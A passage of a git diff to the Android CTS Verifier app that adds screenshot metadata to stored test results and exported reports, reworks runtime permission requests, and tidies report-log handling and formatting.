+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
         @Override
@@ -326,9 +347,9 @@
         public TestListActivity() {
             // TODO(b/186555602): temporary hack^H^H^H^H workaround to fix crash
             // This DOES NOT in fact fix that bug.
-            // if (true) this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, "42"); else
+            // if (true) this.mReportLog = new CtsVerifierReportLog(b/186555602, "42"); else
 
-            this.mReportLog = new CtsVerifierReportLog(REPORT_LOG_NAME, getReportSectionName());
+            this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
         }
 
         @Override
@@ -373,11 +394,18 @@
             return mReportLog;
         }
 
+        /**
+         * @return The name of the file to store the (suite of) ReportLog information.
+         */
         @Override
-        public final String getReportSectionName() {
-            return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+        public String getReportFileName() { return GENERAL_TESTS_REPORT_LOG_NAME; }
+
+        @Override
+        public String getReportSectionName() {
+            return setTestNameSuffix(sCurrentDisplayMode, SECTION_UNDEFINED);
         }
 
+
         /**
          * Get existing test history to aggregate.
          */
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index fe314c4..f95393a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -23,10 +23,15 @@
 import android.os.Environment;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
+import android.util.Log;
 
 import com.android.compatibility.common.util.FileUtil;
+import com.android.compatibility.common.util.ICaseResult;
 import com.android.compatibility.common.util.IInvocationResult;
+import com.android.compatibility.common.util.IModuleResult;
+import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.ResultHandler;
+import com.android.compatibility.common.util.ScreenshotsMetadataHandler;
 import com.android.compatibility.common.util.ZipUtil;
 
 import org.xmlpull.v1.XmlPullParserException;
@@ -48,7 +53,9 @@
 /**
  * Background task to generate a report and save it to external storage.
  */
-class ReportExporter extends AsyncTask<Void, Void, String> {
+public class ReportExporter extends AsyncTask<Void, Void, String> {
+    private static final String TAG = ReportExporter.class.getSimpleName();
+    private static final boolean DEBUG = true;
 
     public static final String REPORT_DIRECTORY = "VerifierReports";
     public static final String LOGS_DIRECTORY = "ReportLogFiles";
@@ -76,31 +83,43 @@
     // so that they will get ZIPped into the transmitted file.
     //
     private void copyReportFiles(File tempDir) {
-        File externalStorageDirectory = Environment.getExternalStorageDirectory();
+        if (DEBUG) {
+            Log.d(TAG, "copyReportFiles(" + tempDir.getAbsolutePath() + ")");
+        }
+
         File reportLogFolder =
                 new File(Environment.getExternalStorageDirectory().getAbsolutePath()
                         + File.separator
-                        + REPORT_DIRECTORY);
-        File[] reportLogFiles = reportLogFolder.listFiles();
+                        + LOGS_DIRECTORY);
 
-        // if no ReportLog files have been created (i.e. the folder doesn't exist)
-        // then listFiles() returns null. Handle silently.
-        if (reportLogFiles != null) {
-            for (File reportLogFile : reportLogFiles) {
-                Path src = Paths.get(reportLogFile.getAbsolutePath());
-                Path dest = Paths.get(
-                        tempDir.getAbsolutePath()
-                                + File.separator
-                                + reportLogFile.getName());
-                try {
-                    Files.copy(src, dest, StandardCopyOption.REPLACE_EXISTING);
-                } catch (IOException ex) {
-                    LOG.log(Level.WARNING, "Error copying ReportLog files. IOException: " + ex);
-                }
+        copyFilesRecursively(reportLogFolder, tempDir);
+    }
+
+    private void copyFilesRecursively(File source, File destFolder) {
+        File[] files = source.listFiles();
+
+        if (files == null) {
+            return;
+        }
+
+        for (File file : files) {
+            Path src = Paths.get(file.getAbsolutePath());
+            Path dest = Paths.get(
+                    destFolder.getAbsolutePath()
+                            + File.separator
+                            + file.getName());
+            try {
+                Files.copy(src, dest, StandardCopyOption.REPLACE_EXISTING);
+            } catch (IOException ex) {
+                LOG.log(Level.WARNING, "Error copying ReportLog file. IOException: " + ex);
+            }
+            if (file.isDirectory()) {
+                copyFilesRecursively(file, dest.toFile());
             }
         }
     }
 
+
     @Override
     protected String doInBackground(Void... params) {
         if (!Environment.MEDIA_MOUNTED.equals(Environment.getExternalStorageState())) {
@@ -139,6 +158,11 @@
                     result, tempDir, START_MS, END_MS, REFERENCE_URL, LOG_URL,
                     COMMAND_LINE_ARGS, null);
 
+            // Serialize the screenshots metadata if at least one exists
+            if (containsScreenshotMetadata(result)) {
+                ScreenshotsMetadataHandler.writeResults(result, tempDir);
+            }
+
             // copy formatting files to the temporary report directory
             copyFormattingFiles(tempDir);
 
@@ -155,7 +179,26 @@
         return mContext.getString(R.string.report_saved, reportZipFile.getPath());
     }
 
+    private boolean containsScreenshotMetadata(IInvocationResult result) {
+        for (IModuleResult module : result.getModules()) {
+            for (ICaseResult cr : module.getResults()) {
+                for (ITestResult r : cr.getResults()) {
+                    if (r.getResultStatus() == null) {
+                        continue; // test was not executed, don't report
+                    }
+                    if (r.getTestScreenshotsMetadata() != null) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
     private void saveReportOnInternalStorage(File reportZipFile) {
+        if (DEBUG) {
+            Log.d(TAG, "---- saveReportOnInternalStorage(" + reportZipFile.getAbsolutePath() + ")");
+        }
         try {
             ParcelFileDescriptor pfd = ParcelFileDescriptor.open(
                     reportZipFile, ParcelFileDescriptor.MODE_READ_ONLY);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
index 13b2ec3..9f987a2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListActivity.java
@@ -16,15 +16,20 @@
 
 package com.android.cts.verifier;
 
+import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+
+import android.Manifest;
 import android.app.AlertDialog;
 import android.app.ListActivity;
 import android.content.DialogInterface;
+import android.content.Intent;
 import android.content.SharedPreferences;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.PackageManager.NameNotFoundException;
-import android.content.pm.PermissionInfo;
+import android.net.Uri;
 import android.os.Bundle;
+import android.provider.Settings;
 import android.util.Log;
 import android.view.Menu;
 import android.view.MenuInflater;
@@ -35,9 +40,14 @@
 import android.widget.Switch;
 import android.widget.Toast;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Objects;
+
 /** Top-level {@link ListActivity} for launching tests and managing results. */
 public class TestListActivity extends AbstractTestListActivity implements View.OnClickListener {
     private static final int CTS_VERIFIER_PERMISSION_REQUEST = 1;
+    private static final int CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST = 2;
 
     private static final String TAG = TestListActivity.class.getSimpleName();
     // Records the current display mode.
@@ -46,6 +56,8 @@
     // Flag of launch app to fetch the unfolded/folded tests in main view from AndroidManifest.xml.
     protected static boolean sInitialLaunch;
 
+    private String[] mRequestedPermissions;
+
     // Enumerates the display modes, including unfolded and folded.
     protected enum DisplayMode {
         UNFOLDED, FOLDED;
@@ -59,7 +71,7 @@
          * Coverts the mode as suffix with brackets for test name.
          *
          * @return A string containing mode with brackets for folded mode;
-         *         empty string for unfolded mode.
+         * empty string for unfolded mode.
          */
         public String asSuffix() {
             if (name().equals(FOLDED.name())) {
@@ -70,7 +82,7 @@
     }
 
     @Override
-    public void onClick (View v) {
+    public void onClick(View v) {
         handleMenuItemSelected(v.getId());
     }
 
@@ -82,27 +94,20 @@
             PackageManager pm = getPackageManager();
             PackageInfo packageInfo = pm.getPackageInfo(
                     getApplicationInfo().packageName, PackageManager.GET_PERMISSIONS);
+            mRequestedPermissions = packageInfo.requestedPermissions;
 
-            if (packageInfo.requestedPermissions != null) {
-                for (String permission : packageInfo.requestedPermissions) {
-                    Log.v(TAG, "Checking permissions for: " + permission);
+            if (mRequestedPermissions != null) {
+                String[] permissionsToRequest = removeString(mRequestedPermissions,
+                        Manifest.permission.ACCESS_BACKGROUND_LOCATION);
+                permissionsToRequest = Arrays.stream(permissionsToRequest).filter(s -> {
                     try {
-                        PermissionInfo info = pm.getPermissionInfo(permission, 0);
-                        if ((info.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) == 0) {
-                            continue;
-                        }
+                        return (pm.getPermissionInfo(s, 0).getProtection() & PROTECTION_DANGEROUS)
+                                != 0;
                     } catch (NameNotFoundException e) {
-                        Log.v(TAG, "Checking permissions for: " + permission + "not found");
-                        continue;
+                        return false;
                     }
-                    if (checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED) {
-                        requestPermissions(packageInfo.requestedPermissions,
-                                CTS_VERIFIER_PERMISSION_REQUEST);
-                        /* don't return here. Some tests (i.e. USB Restrict Access test)
-                         * which need to run even if permissions are incomplete.
-                         */
-                    }
-                }
+                }).toArray(String[]::new);
+                requestPermissions(permissionsToRequest, CTS_VERIFIER_PERMISSION_REQUEST);
             }
             createContinue();
         } catch (NameNotFoundException e) {
@@ -117,6 +122,11 @@
         }
         sInitialLaunch = true;
 
+        // Restores the last display mode when launching the app after killing the process.
+        if (getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString())) {
+            sCurrentDisplayMode = DisplayMode.FOLDED.toString();
+        }
+
         setTitle(getString(R.string.title_version, Version.getVersionName(this)));
 
         if (!getWindow().hasFeature(Window.FEATURE_ACTION_BAR)) {
@@ -135,13 +145,39 @@
     public void onRequestPermissionsResult(
             int requestCode, String permissions[], int[] grantResults) {
         if (requestCode == CTS_VERIFIER_PERMISSION_REQUEST) {
-            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
-                createContinue();
-                return;
+            if (arrayContains(grantResults, PackageManager.PERMISSION_DENIED)) {
+                Log.v(TAG, "Didn't grant all permissions.");
+                // If we're sending them to settings we don't need to request background location
+                // since they can just grant in settings.
+                sendUserToSettings();
+            } else if (new ArrayList<>(Arrays.asList(mRequestedPermissions)).contains(
+                    Manifest.permission.ACCESS_BACKGROUND_LOCATION)) {
+                requestPermissions(new String[]{Manifest.permission.ACCESS_BACKGROUND_LOCATION},
+                        CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST);
             }
-            Log.v(TAG, "Permission not granted.");
-            Toast.makeText(this, R.string.runtime_permissions_error, Toast.LENGTH_SHORT).show();
+            return;
         }
+        if (requestCode == CTS_VERIFIER_BACKGROUND_LOCATION_PERMISSION_REQUEST) {
+            if (grantResults[0] == PackageManager.PERMISSION_DENIED) {
+                Log.v(TAG, "Didn't grant background permission.");
+                sendUserToSettings();
+            }
+            return;
+        }
+    }
+
+    private AlertDialog sendUserToSettings() {
+        return new AlertDialog.Builder(this)
+                .setTitle("Please grant all permissions")
+                .setPositiveButton(
+                        "Ok", (dialog, which) -> {
+                            if (which == AlertDialog.BUTTON_POSITIVE) {
+                                startActivity(new Intent(
+                                        Settings.ACTION_APPLICATION_DETAILS_SETTINGS).setData(
+                                        Uri.fromParts("package", getPackageName(), null)));
+                            }
+                        })
+                .show();
     }
 
     @Override
@@ -154,20 +190,14 @@
         item.setActionView(R.layout.display_mode_switch);
         Switch displayModeSwitch = item.getActionView().findViewById(R.id.switch_button);
 
-        // Restores the original display mode when launching the app after killing the process.
-        // Otherwise, gets the current display mode to show switch status.
-        boolean isFoldedMode;
-        if (sInitialLaunch) {
-            isFoldedMode = getCurrentDisplayMode().equals(DisplayMode.FOLDED.toString());
-        } else {
-            isFoldedMode = sCurrentDisplayMode.equals(DisplayMode.FOLDED.toString());
-        }
+        // Get the current display mode to show switch status.
+        boolean isFoldedMode = sCurrentDisplayMode.equals(DisplayMode.FOLDED.toString());
         displayModeSwitch.setChecked(isFoldedMode);
 
         displayModeSwitch.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
             @Override
             public void onCheckedChanged(CompoundButton buttonView,
-                boolean isChecked) {
+                    boolean isChecked) {
                 if (isChecked) {
                     sCurrentDisplayMode = DisplayMode.FOLDED.toString();
                 } else {
@@ -186,20 +216,20 @@
 
     private void handleClearItemSelected() {
         new AlertDialog.Builder(this)
-            .setMessage(R.string.test_results_clear_title)
-            .setPositiveButton(R.string.test_results_clear_yes,
-                    new DialogInterface.OnClickListener() {
-                       public void onClick(DialogInterface dialog, int id) {
-                            mAdapter.clearTestResults();
-                            Toast.makeText(
-                                TestListActivity.this,
-                                R.string.test_results_cleared,
-                                Toast.LENGTH_SHORT)
-                                    .show();
-                       }
-                   })
-            .setNegativeButton(R.string.test_results_clear_cancel, null)
-            .show();
+                .setMessage(R.string.test_results_clear_title)
+                .setPositiveButton(R.string.test_results_clear_yes,
+                        new DialogInterface.OnClickListener() {
+                            public void onClick(DialogInterface dialog, int id) {
+                                mAdapter.clearTestResults();
+                                Toast.makeText(
+                                        TestListActivity.this,
+                                        R.string.test_results_cleared,
+                                        Toast.LENGTH_SHORT)
+                                        .show();
+                            }
+                        })
+                .setNegativeButton(R.string.test_results_clear_cancel, null)
+                .show();
     }
 
     private void handleExportItemSelected() {
@@ -241,7 +271,37 @@
      */
     private String getCurrentDisplayMode() {
         String mode = getSharedPreferences(DisplayMode.class.getName(), MODE_PRIVATE)
-            .getString(DisplayMode.class.getName(), "");
+                .getString(DisplayMode.class.getName(), "");
         return mode;
     }
-}
\ No newline at end of file
+
+    private static boolean arrayContains(int[] array, int value) {
+        if (array == null) return false;
+        for (int element : array) {
+            if (element == value) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private static String[] removeString(String[] cur, String val) {
+        if (cur == null) {
+            return null;
+        }
+        final int n = cur.length;
+        for (int i = 0; i < n; i++) {
+            if (Objects.equals(cur[i], val)) {
+                String[] ret = new String[n - 1];
+                if (i > 0) {
+                    System.arraycopy(cur, 0, ret, 0, i);
+                }
+                if (i < (n - 1)) {
+                    System.arraycopy(cur, i + 1, ret, i, n - i - 1);
+                }
+                return ret;
+            }
+        }
+        return cur;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
index b729a2d..58151a6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestListAdapter.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.verifier;
 
+import static com.android.cts.verifier.ReportExporter.LOGS_DIRECTORY;
 import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
 import static com.android.cts.verifier.TestListActivity.sInitialLaunch;
 
@@ -25,6 +26,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.os.AsyncTask;
+import android.os.Environment;
 import android.os.Handler;
 import android.view.LayoutInflater;
 import android.view.View;
@@ -34,15 +36,18 @@
 import android.widget.TextView;
 
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestScreenshotsMetadata;
 import com.android.cts.verifier.TestListActivity.DisplayMode;
 
 import java.io.ByteArrayInputStream;
+import java.io.File;
 import java.io.IOException;
 import java.io.ObjectInputStream;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
 
 /**
  * {@link BaseAdapter} that handles loading, refreshing, and setting test
@@ -81,6 +86,12 @@
     /** Map from test name to {@link TestResultHistoryCollection}. */
     private final Map<String, TestResultHistoryCollection> mHistories = new HashMap<>();
 
+    /** Map from test name to {@link TestScreenshotsMetadata}. */
+    private final Map<String, TestScreenshotsMetadata> mScreenshotsMetadata = new HashMap<>();
+
+    /** Flag to identify whether the mHistories has been loaded. */
+    private final AtomicBoolean mHasLoadedResultHistory = new AtomicBoolean(false);
+
     private final LayoutInflater mLayoutInflater;
 
     /** Map from display mode to the list of {@link TestListItem}.
@@ -88,16 +99,6 @@
      *  respectively. */
     protected Map<String, List<TestListItem>> mDisplayModesTests = new HashMap<>();
 
-    /** Flag to identify the test data from {@link ManifestTestListAdapter}.
-     *  The source of data for the adapter is various, such as ManifestTestListAdapter and
-     *  ArrayTestListAdapter, and the data of foldable tests are from ManifestTestListAdapter. */
-    protected static boolean adapterFromManifest;
-
-    /** Flag to identify the test data in main view from {@link ManifestTestListAdapter}.
-     *  ManifestTestListAdapter provides test data for main view and subtests.
-     *  Getting foldable tests is from main view only. */
-    protected static boolean hasTestParentInManifestAdapter;
-
     /** {@link ListView} row that is either a test category header or a test. */
     public static class TestListItem {
 
@@ -237,7 +238,7 @@
     }
 
     public void loadTestResults() {
-        new RefreshTestResultsTask().execute();
+        new RefreshTestResultsTask(false).execute();
     }
 
     public void clearTestResults() {
@@ -252,25 +253,31 @@
         histories.merge(null, mHistories.get(name));
 
         new SetTestResultTask(name, testResult.getResult(),
-                testResult.getDetails(), testResult.getReportLog(), histories).execute();
+                testResult.getDetails(), testResult.getReportLog(), histories,
+                mScreenshotsMetadata.get(name)).execute();
     }
 
     class RefreshTestResultsTask extends AsyncTask<Void, Void, RefreshResult> {
+
+        private boolean mIsFromMainView;
+
+        RefreshTestResultsTask(boolean isFromMainView) {
+            mIsFromMainView = isFromMainView;
+        }
+
         @Override
         protected RefreshResult doInBackground(Void... params) {
-            List<TestListItem> rows;
+            List<TestListItem> rows = getRows();
             // When initial launch, needs to fetch tests in the unfolded/folded mode
             // to be stored in mDisplayModesTests as the basis for the future switch.
             if (sInitialLaunch) {
-                getRows();
                 sInitialLaunch = false;
             }
 
-            if (checkTestsFromMainView()) {
+            if (mIsFromMainView) {
                 rows = mDisplayModesTests.get(sCurrentDisplayMode);
-            }else {
-                rows = getRows();
             }
+          
             return getRefreshResults(rows);
         }
 
@@ -287,6 +294,9 @@
             mReportLogs.putAll(result.mReportLogs);
             mHistories.clear();
             mHistories.putAll(result.mHistories);
+            mScreenshotsMetadata.clear();
+            mScreenshotsMetadata.putAll(result.mScreenshotsMetadata);
+            mHasLoadedResultHistory.set(true);
             notifyDataSetChanged();
         }
     }
@@ -297,18 +307,21 @@
         Map<String, String> mDetails;
         Map<String, ReportLog> mReportLogs;
         Map<String, TestResultHistoryCollection> mHistories;
+        Map<String, TestScreenshotsMetadata> mScreenshotsMetadata;
 
         RefreshResult(
                 List<TestListItem> items,
                 Map<String, Integer> results,
                 Map<String, String> details,
                 Map<String, ReportLog> reportLogs,
-                Map<String, TestResultHistoryCollection> histories) {
+                Map<String, TestResultHistoryCollection> histories,
+                Map<String, TestScreenshotsMetadata> screenshotsMetadata) {
             mItems = items;
             mResults = results;
             mDetails = details;
             mReportLogs = reportLogs;
             mHistories = histories;
+            mScreenshotsMetadata = screenshotsMetadata;
         }
     }
 
@@ -321,6 +334,7 @@
         TestResultsProvider.COLUMN_TEST_DETAILS,
         TestResultsProvider.COLUMN_TEST_METRICS,
         TestResultsProvider.COLUMN_TEST_RESULT_HISTORY,
+        TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
     };
 
     RefreshResult getRefreshResults(List<TestListItem> items) {
@@ -328,6 +342,7 @@
         Map<String, String> details = new HashMap<String, String>();
         Map<String, ReportLog> reportLogs = new HashMap<String, ReportLog>();
         Map<String, TestResultHistoryCollection> histories = new HashMap<>();
+        Map<String, TestScreenshotsMetadata> screenshotsMetadata = new HashMap<>();
         ContentResolver resolver = mContext.getContentResolver();
         Cursor cursor = null;
         try {
@@ -341,10 +356,13 @@
                     ReportLog reportLog = (ReportLog) deserialize(cursor.getBlob(4));
                     TestResultHistoryCollection historyCollection =
                         (TestResultHistoryCollection) deserialize(cursor.getBlob(5));
+                    TestScreenshotsMetadata screenshots =
+                            (TestScreenshotsMetadata) deserialize(cursor.getBlob(6));
                     results.put(testName, testResult);
                     details.put(testName, testDetails);
                     reportLogs.put(testName, reportLog);
                     histories.put(testName, historyCollection);
+                    screenshotsMetadata.put(testName, screenshots);
                 } while (cursor.moveToNext());
             }
         } finally {
@@ -352,15 +370,33 @@
                 cursor.close();
             }
         }
-        return new RefreshResult(items, results, details, reportLogs, histories);
+        return new RefreshResult(
+                items, results, details, reportLogs, histories, screenshotsMetadata);
     }
 
     class ClearTestResultsTask extends AsyncTask<Void, Void, Void> {
 
+        private void deleteDirectory(File file) {
+            for (File subfile : file.listFiles()) {
+                if (subfile.isDirectory()) {
+                    deleteDirectory(subfile);
+                }
+                subfile.delete();
+            }
+        }
+
         @Override
         protected Void doInBackground(Void... params) {
             ContentResolver resolver = mContext.getContentResolver();
             resolver.delete(TestResultsProvider.getResultContentUri(mContext), "1", null);
+
+            // Apart from deleting metadata from content resolver database, need to delete
+            // files generated in LOGS_DIRECTORY. For example screenshots.
+            File resFolder = new File(
+                    Environment.getExternalStorageDirectory().getAbsolutePath()
+                            + File.separator + LOGS_DIRECTORY);
+            deleteDirectory(resFolder);
+
             return null;
         }
     }
@@ -372,24 +408,49 @@
         private final String mDetails;
         private final ReportLog mReportLog;
         private final TestResultHistoryCollection mHistoryCollection;
+        private final TestScreenshotsMetadata mScreenshotsMetadata;
 
         SetTestResultTask(
                 String testName,
                 int result,
                 String details,
                 ReportLog reportLog,
-                TestResultHistoryCollection historyCollection) {
+                TestResultHistoryCollection historyCollection,
+                TestScreenshotsMetadata screenshotsMetadata) {
             mTestName = testName;
             mResult = result;
             mDetails = details;
             mReportLog = reportLog;
             mHistoryCollection = historyCollection;
+            mScreenshotsMetadata = screenshotsMetadata;
         }
 
         @Override
         protected Void doInBackground(Void... params) {
+            if (mHasLoadedResultHistory.get()) {
+                mHistoryCollection.merge(null, mHistories.get(mTestName));
+            } else {
+                // Loads history from ContentProvider directly if it has not been loaded yet.
+                ContentResolver resolver = mContext.getContentResolver();
+
+                try (Cursor cursor = resolver.query(
+                        TestResultsProvider.getTestNameUri(mContext, mTestName),
+                        new String[] {TestResultsProvider.COLUMN_TEST_RESULT_HISTORY},
+                        null,
+                        null,
+                        null)) {
+                    if (cursor.moveToFirst()) {
+                        do {
+                            TestResultHistoryCollection historyCollection =
+                                    (TestResultHistoryCollection) deserialize(cursor.getBlob(0));
+                            mHistoryCollection.merge(null, historyCollection);
+                        } while (cursor.moveToNext());
+                    }
+                }
+            }
             TestResultsProvider.setTestResult(
-                mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection);
+                    mContext, mTestName, mResult, mDetails, mReportLog, mHistoryCollection,
+                    mScreenshotsMetadata);
             return null;
         }
     }
@@ -430,17 +491,11 @@
 
     @Override
     public int getCount() {
-        if (!sInitialLaunch && checkTestsFromMainView()) {
-            return mDisplayModesTests.get(sCurrentDisplayMode).size();
-        }
         return mRows.size();
     }
 
     @Override
     public TestListItem getItem(int position) {
-        if (checkTestsFromMainView()) {
-            return mDisplayModesTests.get(sCurrentDisplayMode).get(position);
-        }
         return mRows.get(position);
     }
 
@@ -484,6 +539,19 @@
     }
 
     /**
+     * Get test screenshots metadata
+     *
+     * @param position The position of test
+     * @return A {@link TestScreenshotsMetadata} object containing test screenshots metadata.
+     */
+    public TestScreenshotsMetadata getScreenshotsMetadata(String mode, int position) {
+        TestListItem item = getItem(mode, position);
+        return mScreenshotsMetadata.containsKey(item.testName)
+                ? mScreenshotsMetadata.get(item.testName)
+                : null;
+    }
+
+    /**
      * Get test item by the given display mode and position.
      *
      * @param mode The display mode.
@@ -501,7 +569,7 @@
      * @return A count of test items.
      */
     public int getCount(String mode){
-        return mDisplayModesTests.get(mode).size();
+        return mDisplayModesTests.getOrDefault(mode, new ArrayList<>()).size();
     }
 
     /**
@@ -671,13 +739,4 @@
         }
         return name;
     }
-
-    /**
-     * Checks if the tests are from main view for foldable tests.
-     *
-     * @return True if the tests from main view, otherwise, return false.
-     */
-    private static boolean checkTestsFromMainView() {
-        return adapterFromManifest && !hasTestParentInManifestAdapter;
-    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
index 4818484..e7e389e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResult.java
@@ -19,13 +19,12 @@
 import static com.android.cts.verifier.TestListActivity.sCurrentDisplayMode;
 import static com.android.cts.verifier.TestListAdapter.setTestNameSuffix;
 
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.TestResultHistory;
-
 import android.app.Activity;
 import android.content.Intent;
 import android.util.Log;
 
+import com.android.compatibility.common.util.ReportLog;
+
 /**
  * Object representing the result of a test activity like whether it succeeded or failed.
  * Use {@link #setPassedResult(Activity, String, String)} or
@@ -40,6 +39,7 @@
     public static final int TEST_RESULT_NOT_EXECUTED = 0;
     public static final int TEST_RESULT_PASSED = 1;
     public static final int TEST_RESULT_FAILED = 2;
+    public static final String TEST_START_TIME = "start_time";
 
     private static final String TEST_NAME = "name";
     private static final String TEST_RESULT = "result";
@@ -61,10 +61,7 @@
     /** Sets the test activity's result to pass including a test report log result. */
     public static void setPassedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
-        Log.i(TAG, "setPassedResult(activity=" + activity + ", testId=" + testId
-                + ", testDetails=" + testDetails);
-        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_PASSED, testId,
-            testDetails, reportLog, null /*history*/));
+        setPassedResult(activity, testId, testDetails, reportLog, null /*history*/);
     }
 
     /** Sets the test activity's result to pass including a test report log result and history. */
@@ -84,10 +81,7 @@
     /** Sets the test activity's result to failed including a test report log result. */
     public static void setFailedResult(Activity activity, String testId, String testDetails,
             ReportLog reportLog) {
-        Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
-                + ", testDetails=" + testDetails);
-        activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
-                testDetails, reportLog, null /*history*/));
+        setFailedResult(activity, testId, testDetails, reportLog, null /*history*/);
     }
 
     /** Sets the test activity's result to failed including a test report log result and history. */
@@ -96,12 +90,16 @@
         Log.e(TAG, "setFailedResult(activity=" + activity + ", testId=" + testId
                 + ", testDetails=" + testDetails);
         activity.setResult(Activity.RESULT_OK, createResult(activity, TEST_RESULT_FAILED, testId,
-            testDetails, reportLog, historyCollection));
+                testDetails, reportLog, historyCollection));
     }
 
     public static Intent createResult(Activity activity, int testResult, String testName,
             String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+        Intent activityIntent = activity.getIntent();
         Intent data = new Intent(activity, activity.getClass());
+        if (activityIntent.hasExtra(TEST_START_TIME)) {
+            data.putExtra(TEST_START_TIME, activityIntent.getLongExtra(TEST_START_TIME, 0));
+        }
         addResultData(data, testResult, testName, testDetails, reportLog, historyCollection);
         return data;
     }
@@ -126,7 +124,7 @@
         String details = data.getStringExtra(TEST_DETAILS);
         ReportLog reportLog = (ReportLog) data.getSerializableExtra(TEST_METRICS);
         TestResultHistoryCollection historyCollection =
-            (TestResultHistoryCollection) data.getSerializableExtra(TEST_HISTORY_COLLECTION);
+                (TestResultHistoryCollection) data.getSerializableExtra(TEST_HISTORY_COLLECTION);
         return new TestResult(name, result, details, reportLog, historyCollection);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
index c8b1a86..60f311b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/TestResultsProvider.java
@@ -33,7 +33,10 @@
 import android.net.Uri;
 import android.os.ParcelFileDescriptor;
 
+import androidx.annotation.NonNull;
+
 import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.TestScreenshotsMetadata;
 
 import java.io.ByteArrayOutputStream;
 import java.io.File;
@@ -44,8 +47,6 @@
 import java.util.Arrays;
 import java.util.Comparator;
 
-import androidx.annotation.NonNull;
-
 /**
  * {@link ContentProvider} that provides read and write access to the test results.
  */
@@ -64,6 +65,8 @@
     static final String COLUMN_TEST_METRICS = "testmetrics";
     /** TestResultHistory containing the test run histories. */
     static final String COLUMN_TEST_RESULT_HISTORY = "testresulthistory";
+    /** TestScreenshotsMetadata containing the test screenshot metadata. */
+    static final String COLUMN_TEST_SCREENSHOTS_METADATA = "testscreenshotsmetadata";
 
     /**
      * Report saved location
@@ -104,18 +107,31 @@
     public static Uri getTestNameUri(Context context) {
         String name = context.getClass().getName();
         name = setTestNameSuffix(sCurrentDisplayMode, name);
-        final String testName = name;
+        return getTestNameUri(context, name);
+    }
+
+    /**
+     * Gets the URI from the context and test name.
+     * @param context current context
+     * @param testName name of the test which needs to get the URI
+     * @return the URI for the test result
+     */
+    public static Uri getTestNameUri(Context context, String testName) {
         return Uri.withAppendedPath(getResultContentUri(context), testName);
     }
 
     static void setTestResult(Context context, String testName, int testResult,
-        String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection) {
+            String testDetails, ReportLog reportLog, TestResultHistoryCollection historyCollection,
+            TestScreenshotsMetadata screenshotsMetadata) {
         ContentValues values = new ContentValues(2);
         values.put(TestResultsProvider.COLUMN_TEST_RESULT, testResult);
         values.put(TestResultsProvider.COLUMN_TEST_NAME, testName);
         values.put(TestResultsProvider.COLUMN_TEST_DETAILS, testDetails);
         values.put(TestResultsProvider.COLUMN_TEST_METRICS, serialize(reportLog));
         values.put(TestResultsProvider.COLUMN_TEST_RESULT_HISTORY, serialize(historyCollection));
+        values.put(
+                TestResultsProvider.COLUMN_TEST_SCREENSHOTS_METADATA,
+                serialize(screenshotsMetadata));
 
         final Uri uri = getResultContentUri(context);
         ContentResolver resolver = context.getContentResolver();
@@ -128,6 +144,32 @@
         }
     }
 
+    /**
+     * Called by screenshot consumers to provide extra metadata that allows to understand
+     * screenshots better.
+     *
